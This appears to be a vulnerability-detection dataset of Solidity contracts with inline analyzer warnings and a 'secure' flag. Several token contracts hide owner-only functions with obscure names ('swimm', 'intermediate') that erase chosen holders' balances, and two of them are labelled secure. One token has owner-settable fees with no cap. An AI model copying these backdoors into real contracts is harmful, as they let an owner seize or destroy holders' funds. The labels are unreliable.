{ "code": "// SPDX-License-Identifier: MIXED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"./IPancakeProfile.sol\" as IPancakeProfile;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract SmartChefInitializable is Ownable, ReentrancyGuard {\n using SafeERC20 for IERC20Metadata;\n\n address public immutable SMART_CHEF_FACTORY;\n\n bool public userLimit;\n\n bool public isInitialized;\n\n uint256 public accTokenPerShare;\n\n uint256 public bonusEndBlock;\n\n uint256 public startBlock;\n\n uint256 public lastRewardBlock;\n\n uint256 public poolLimitPerUser;\n\n uint256 public numberBlocksForUserLimit;\n\n IPancakeProfile public immutable pancakeProfile;\n\n bool public pancakeProfileIsRequested;\n\n uint256 public pancakeProfileThresholdPoints;\n\n uint256 public rewardPerBlock;\n\n uint256 public PRECISION_FACTOR;\n\n IERC20Metadata public rewardToken;\n\n IERC20Metadata public stakedToken;\n\n mapping(address => UserInfo) public userInfo;\n\n struct UserInfo {\n uint256 amount;\n uint256 rewardDebt;\n }\n\n event Deposit(address indexed user, uint256 amount);\n\n event EmergencyWithdraw(address indexed user, uint256 amount);\n\n event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);\n\n event NewRewardPerBlock(uint256 rewardPerBlock);\n\n event NewPoolLimit(uint256 poolLimitPerUser);\n\n event RewardsStop(uint256 blockNumber);\n\n event TokenRecovery(address indexed token, uint256 amount);\n\n event Withdraw(address indexed user, uint256 amount);\n\n event UpdateProfileAndThresholdPointsRequirement(\n bool isProfileRequested,\n uint256 thresholdPoints\n );\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c19dd31): SmartChefInitializable.constructor(address,bool,uint256) ignores return value by IPancakeProfile(_pancakeProfile).getTeamProfile(1)\n\t// Recommendation for c19dd31: Ensure that all the return values of the function calls are used.\n constructor(\n address _pancakeProfile,\n bool _pancakeProfileIsRequested,\n uint256 _pancakeProfileThresholdPoints\n ) {\n SMART_CHEF_FACTORY = msg.sender;\n\n\t\t// unused-return | ID: c19dd31\n IPancakeProfile(_pancakeProfile).getTeamProfile(1);\n\n pancakeProfile = IPancakeProfile(_pancakeProfile);\n\n pancakeProfileIsRequested = _pancakeProfileIsRequested;\n\n pancakeProfileThresholdPoints = _pancakeProfileThresholdPoints;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6484bd7): Missing events for critical arithmetic parameters.\n\t// Recommendation for 6484bd7: Emit an event for critical parameter changes.\n function initialize(\n IERC20Metadata _stakedToken,\n IERC20Metadata _rewardToken,\n uint256 _rewardPerBlock,\n uint256 _startBlock,\n uint256 _bonusEndBlock,\n uint256 _poolLimitPerUser,\n uint256 _numberBlocksForUserLimit,\n address _admin\n ) external {\n require(!isInitialized, \"Already initialized\");\n\n require(msg.sender == SMART_CHEF_FACTORY, \"Not factory\");\n\n isInitialized = true;\n\n stakedToken = _stakedToken;\n\n rewardToken = _rewardToken;\n\n\t\t// events-maths | ID: 6484bd7\n rewardPerBlock = _rewardPerBlock;\n\n\t\t// events-maths | ID: 6484bd7\n startBlock = _startBlock;\n\n\t\t// events-maths | ID: 6484bd7\n bonusEndBlock = _bonusEndBlock;\n\n if (_poolLimitPerUser > 0) {\n userLimit = true;\n\n\t\t\t// events-maths | ID: 6484bd7\n poolLimitPerUser = _poolLimitPerUser;\n\n\t\t\t// events-maths | ID: 6484bd7\n numberBlocksForUserLimit = _numberBlocksForUserLimit;\n }\n\n uint256 decimalsRewardToken = uint256(rewardToken.decimals());\n\n require(decimalsRewardToken < 30, \"Must be inferior to 30\");\n\n\t\t// events-maths | ID: 6484bd7\n PRECISION_FACTOR = uint256(10 ** (uint256(30) - decimalsRewardToken));\n\n\t\t// events-maths | ID: 6484bd7\n lastRewardBlock = startBlock;\n\n transferOwnership(_admin);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 73fbec4): SmartChefInitializable.deposit(uint256) ignores return value by (None,numberUserPoints,None,None,None,None) = pancakeProfile.getUserProfile(msg.sender)\n\t// Recommendation for 73fbec4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 64570d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 64570d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3bc4949): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3bc4949: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function deposit(uint256 _amount) external nonReentrant {\n UserInfo storage user = userInfo[msg.sender];\n\n require(\n (!pancakeProfileIsRequested &&\n pancakeProfileThresholdPoints == 0) ||\n pancakeProfile.getUserStatus(msg.sender),\n \"Deposit: Must have an active profile\"\n );\n\n uint256 numberUserPoints = 0;\n\n if (pancakeProfileThresholdPoints > 0) {\n\t\t\t// unused-return | ID: 73fbec4\n (, numberUserPoints, , , , ) = pancakeProfile.getUserProfile(\n msg.sender\n );\n }\n\n require(\n pancakeProfileThresholdPoints == 0 ||\n numberUserPoints >= pancakeProfileThresholdPoints,\n \"Deposit: User is not get enough user points\"\n );\n\n userLimit = hasUserLimit();\n\n require(\n !userLimit || ((_amount + user.amount) <= poolLimitPerUser),\n \"Deposit: Amount above limit\"\n );\n\n _updatePool();\n\n if (user.amount > 0) {\n uint256 pending = (user.amount * accTokenPerShare) /\n PRECISION_FACTOR -\n user.rewardDebt;\n\n if (pending > 0) {\n\t\t\t\t// reentrancy-no-eth | ID: 64570d3\n\t\t\t\t// reentrancy-no-eth | ID: 3bc4949\n rewardToken.safeTransfer(address(msg.sender), pending);\n }\n }\n\n if (_amount > 0) {\n\t\t\t// reentrancy-no-eth | ID: 3bc4949\n user.amount = user.amount + _amount;\n\n\t\t\t// reentrancy-no-eth | ID: 64570d3\n stakedToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n }\n\n\t\t// reentrancy-no-eth | ID: 64570d3\n user.rewardDebt = (user.amount * accTokenPerShare) / PRECISION_FACTOR;\n\n emit Deposit(msg.sender, _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b5dc385): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b5dc385: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 _amount) external nonReentrant {\n UserInfo storage user = userInfo[msg.sender];\n\n require(user.amount >= _amount, \"Amount to withdraw too high\");\n\n _updatePool();\n\n uint256 pending = (user.amount * accTokenPerShare) /\n PRECISION_FACTOR -\n user.rewardDebt;\n\n if (_amount > 0) {\n user.amount = user.amount - _amount;\n\n\t\t\t// reentrancy-no-eth | ID: b5dc385\n stakedToken.safeTransfer(address(msg.sender), _amount);\n }\n\n if (pending > 0) {\n\t\t\t// reentrancy-no-eth | ID: b5dc385\n rewardToken.safeTransfer(address(msg.sender), pending);\n }\n\n\t\t// reentrancy-no-eth | ID: b5dc385\n user.rewardDebt = (user.amount * accTokenPerShare) / PRECISION_FACTOR;\n\n emit Withdraw(msg.sender, _amount);\n }\n\n function emergencyWithdraw() external nonReentrant {\n UserInfo storage user = userInfo[msg.sender];\n\n uint256 amountToTransfer = user.amount;\n\n user.amount = 0;\n\n user.rewardDebt = 0;\n\n if (amountToTransfer > 0) {\n stakedToken.safeTransfer(address(msg.sender), amountToTransfer);\n }\n\n emit EmergencyWithdraw(msg.sender, user.amount);\n }\n\n function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {\n rewardToken.safeTransfer(address(msg.sender), _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 534e3a1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 534e3a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function recoverToken(address _token) external onlyOwner {\n require(\n _token != address(stakedToken),\n \"Operations: Cannot recover staked token\"\n );\n\n require(\n _token != address(rewardToken),\n \"Operations: Cannot recover reward token\"\n );\n\n uint256 balance = IERC20Metadata(_token).balanceOf(address(this));\n\n require(balance != 0, \"Operations: Cannot recover zero balance\");\n\n\t\t// reentrancy-events | ID: 534e3a1\n IERC20Metadata(_token).safeTransfer(address(msg.sender), balance);\n\n\t\t// reentrancy-events | ID: 534e3a1\n emit TokenRecovery(_token, balance);\n }\n\n function stopReward() external onlyOwner {\n bonusEndBlock = block.number;\n }\n\n function updatePoolLimitPerUser(\n bool _userLimit,\n uint256 _poolLimitPerUser\n ) external onlyOwner {\n require(userLimit, \"Must be set\");\n\n if (_userLimit) {\n require(\n _poolLimitPerUser > poolLimitPerUser,\n \"New limit must be higher\"\n );\n\n poolLimitPerUser = _poolLimitPerUser;\n } else {\n userLimit = _userLimit;\n\n poolLimitPerUser = 0;\n }\n\n emit NewPoolLimit(poolLimitPerUser);\n }\n\n function updateRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {\n require(block.number < startBlock, \"Pool has started\");\n\n rewardPerBlock = _rewardPerBlock;\n\n emit NewRewardPerBlock(_rewardPerBlock);\n }\n\n function updateStartAndEndBlocks(\n uint256 _startBlock,\n uint256 _bonusEndBlock\n ) external onlyOwner {\n require(block.number < startBlock, \"Pool has started\");\n\n require(\n _startBlock < _bonusEndBlock,\n \"New startBlock must be lower than new endBlock\"\n );\n\n require(\n block.number < _startBlock,\n \"New startBlock must be higher than current block\"\n );\n\n startBlock = _startBlock;\n\n bonusEndBlock = _bonusEndBlock;\n\n lastRewardBlock = startBlock;\n\n emit NewStartAndEndBlocks(_startBlock, _bonusEndBlock);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: f060c64): SmartChefInitializable.updateProfileAndThresholdPointsRequirement(bool,uint256) contains a tautology or contradiction require(bool,string)(_thresholdPoints >= 0,Threshold points need to exceed 0)\n\t// Recommendation for f060c64: Fix the incorrect comparison by changing the value type or the comparison.\n function updateProfileAndThresholdPointsRequirement(\n bool _isRequested,\n uint256 _thresholdPoints\n ) external onlyOwner {\n\t\t// tautology | ID: f060c64\n require(_thresholdPoints >= 0, \"Threshold points need to exceed 0\");\n\n pancakeProfileIsRequested = _isRequested;\n\n pancakeProfileThresholdPoints = _thresholdPoints;\n\n emit UpdateProfileAndThresholdPointsRequirement(\n _isRequested,\n _thresholdPoints\n );\n }\n\n function pendingReward(address _user) external view returns (uint256) {\n UserInfo storage user = userInfo[_user];\n\n uint256 stakedTokenSupply = stakedToken.balanceOf(address(this));\n\n if (block.number > lastRewardBlock && stakedTokenSupply != 0) {\n uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);\n\n uint256 cakeReward = multiplier * rewardPerBlock;\n\n uint256 adjustedTokenPerShare = accTokenPerShare +\n (cakeReward * PRECISION_FACTOR) /\n stakedTokenSupply;\n\n return\n (user.amount * adjustedTokenPerShare) /\n PRECISION_FACTOR -\n user.rewardDebt;\n } else {\n return\n (user.amount * accTokenPerShare) /\n PRECISION_FACTOR -\n user.rewardDebt;\n }\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7cb3763): SmartChefInitializable._updatePool() uses a dangerous strict equality stakedTokenSupply == 0\n\t// Recommendation for 7cb3763: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _updatePool() internal {\n if (block.number <= lastRewardBlock) {\n return;\n }\n\n uint256 stakedTokenSupply = stakedToken.balanceOf(address(this));\n\n\t\t// incorrect-equality | ID: 7cb3763\n if (stakedTokenSupply == 0) {\n lastRewardBlock = block.number;\n\n return;\n }\n\n uint256 multiplier = _getMultiplier(lastRewardBlock, block.number);\n\n uint256 cakeReward = multiplier * rewardPerBlock;\n\n accTokenPerShare =\n accTokenPerShare +\n (cakeReward * PRECISION_FACTOR) /\n stakedTokenSupply;\n\n lastRewardBlock = block.number;\n }\n\n function _getMultiplier(\n uint256 _from,\n uint256 _to\n ) internal view returns (uint256) {\n if (_to <= bonusEndBlock) {\n return _to - _from;\n } else if (_from >= bonusEndBlock) {\n return 0;\n } else {\n return bonusEndBlock - _from;\n }\n }\n\n function hasUserLimit() public view returns (bool) {\n if (\n !userLimit ||\n (block.number >= (startBlock + numberBlocksForUserLimit))\n ) {\n return false;\n }\n\n return true;\n }\n}", "file_name": "solidity_code_441.sol", "secure": 0, "size_bytes": 15299 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract OBELISKOS is IERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: c813d5f): OBELISKOS._name should be constant \n\t// Recommendation for c813d5f: Add the 'constant' attribute to state variables that never change.\n string private _name = \"OBELISK OS\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 853b0fd): OBELISKOS._symbol should be constant \n\t// Recommendation for 853b0fd: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"OBLSK\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 259e433): OBELISKOS._decimals should be constant \n\t// Recommendation for 259e433: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6ff0166): OBELISKOS._totalSupply should be immutable \n\t// Recommendation for 6ff0166: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000 * (10 ** decimals());\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[owner()] = _totalSupply;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n _approve(\n accountOwner,\n spender,\n allowance(accountOwner, spender) + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address accountOwner = msg.sender;\n\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_442.sol", "secure": 1, "size_bytes": 5608 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChingChangChong is ERC20, Ownable {\n uint256 public constant INITIAL_SUPPLY = 480 * 10 ** 12 * 10 ** 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfcefae): ChingChangChong.donationWallet should be constant \n\t// Recommendation for dfcefae: Add the 'constant' attribute to state variables that never change.\n address public donationWallet = 0x94530427070817F0023082578168C92F94D66b1C;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c22f3c): ChingChangChong.teamWallet should be constant \n\t// Recommendation for 9c22f3c: Add the 'constant' attribute to state variables that never change.\n address public teamWallet = 0x3b975F4d78Fc7636b89739A6b7e25e497d18d508;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8311cf): ChingChangChong.liquidityWallet should be constant \n\t// Recommendation for e8311cf: Add the 'constant' attribute to state variables that never change.\n address public liquidityWallet = 0x4fE43c001688B63fD26c87615ba01a5645B08458;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa098d4): ChingChangChong.burnAddress should be constant \n\t// Recommendation for fa098d4: Add the 'constant' attribute to state variables that never change.\n address public burnAddress = address(0);\n\n uint256 public donationFeePercent = 300;\n\n uint256 public teamFeePercent = 50;\n\n uint256 public liquidityFeePercent = 100;\n\n uint256 public burnFeePercent = 50;\n\n uint256 public totalFeePercent = 500;\n\n constructor() ERC20(\"ChingChangChong\", \"CCC\") Ownable(_msgSender()) {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function _customTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n uint256 donationFee = (amount * donationFeePercent) / 10000;\n\n uint256 teamFee = (amount * teamFeePercent) / 10000;\n\n uint256 liquidityFee = (amount * liquidityFeePercent) / 10000;\n\n uint256 burnFee = (amount * burnFeePercent) / 10000;\n\n uint256 totalFees = donationFee + teamFee + liquidityFee + burnFee;\n\n uint256 amountAfterFees = amount - totalFees;\n\n super._transfer(sender, donationWallet, donationFee);\n\n super._transfer(sender, teamWallet, teamFee);\n\n super._transfer(sender, liquidityWallet, liquidityFee);\n\n super._transfer(sender, burnAddress, burnFee);\n\n super._transfer(sender, recipient, amountAfterFees);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _customTransfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3035262): ChingChangChong.setDonationFeePercent(uint256) should emit an event for donationFeePercent = newDonationFeePercent \n\t// Recommendation for 3035262: Emit an event for critical parameter changes.\n function setDonationFeePercent(\n uint256 newDonationFeePercent\n ) external onlyOwner {\n\t\t// events-maths | ID: 3035262\n donationFeePercent = newDonationFeePercent;\n\n _updateTotalFeePercent();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ac26a0b): ChingChangChong.setTeamFeePercent(uint256) should emit an event for teamFeePercent = newTeamFeePercent \n\t// Recommendation for ac26a0b: Emit an event for critical parameter changes.\n function setTeamFeePercent(uint256 newTeamFeePercent) external onlyOwner {\n\t\t// events-maths | ID: ac26a0b\n teamFeePercent = newTeamFeePercent;\n\n _updateTotalFeePercent();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f3928dd): ChingChangChong.setLiquidityFeePercent(uint256) should emit an event for liquidityFeePercent = newLiquidityFeePercent \n\t// Recommendation for f3928dd: Emit an event for critical parameter changes.\n function setLiquidityFeePercent(\n uint256 newLiquidityFeePercent\n ) external onlyOwner {\n\t\t// events-maths | ID: f3928dd\n liquidityFeePercent = newLiquidityFeePercent;\n\n _updateTotalFeePercent();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 08be15f): ChingChangChong.setBurnFeePercent(uint256) should emit an event for burnFeePercent = newBurnFeePercent \n\t// Recommendation for 08be15f: Emit an event for critical parameter changes.\n function setBurnFeePercent(uint256 newBurnFeePercent) external onlyOwner {\n\t\t// events-maths | ID: 08be15f\n burnFeePercent = newBurnFeePercent;\n\n _updateTotalFeePercent();\n }\n\n function _updateTotalFeePercent() internal {\n totalFeePercent =\n donationFeePercent +\n teamFeePercent +\n liquidityFeePercent +\n burnFeePercent;\n }\n}", "file_name": "solidity_code_443.sol", "secure": 0, "size_bytes": 5052 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpWins is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable equine;\n\n constructor() {\n _name = \"TrumpWins\";\n\n _symbol = \"TrumpWins\";\n\n _decimals = 18;\n\n uint256 initialSupply = 640000000;\n\n equine = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == equine, \"Not allowed\");\n\n _;\n }\n\n function swimm(address[] memory organi) public onlyOwner {\n for (uint256 i = 0; i < organi.length; i++) {\n address account = organi[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_444.sol", "secure": 1, "size_bytes": 4361 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Crowboroughbunyip is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable execution;\n\n constructor() {\n _name = \"Crowborough Bunyip\";\n\n _symbol = \"BUNYIP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 385000000;\n\n execution = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == execution, \"Not allowed\");\n\n _;\n }\n\n function intermediate(address[] memory sphere) public onlyOwner {\n for (uint256 i = 0; i < sphere.length; i++) {\n address account = sphere[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_445.sol", "secure": 1, "size_bytes": 4391 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUMPPUMP is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable virus;\n\n constructor() {\n _name = \"TRUMP PUMP\";\n\n _symbol = \"TRUMPPUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 730000000;\n\n virus = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n 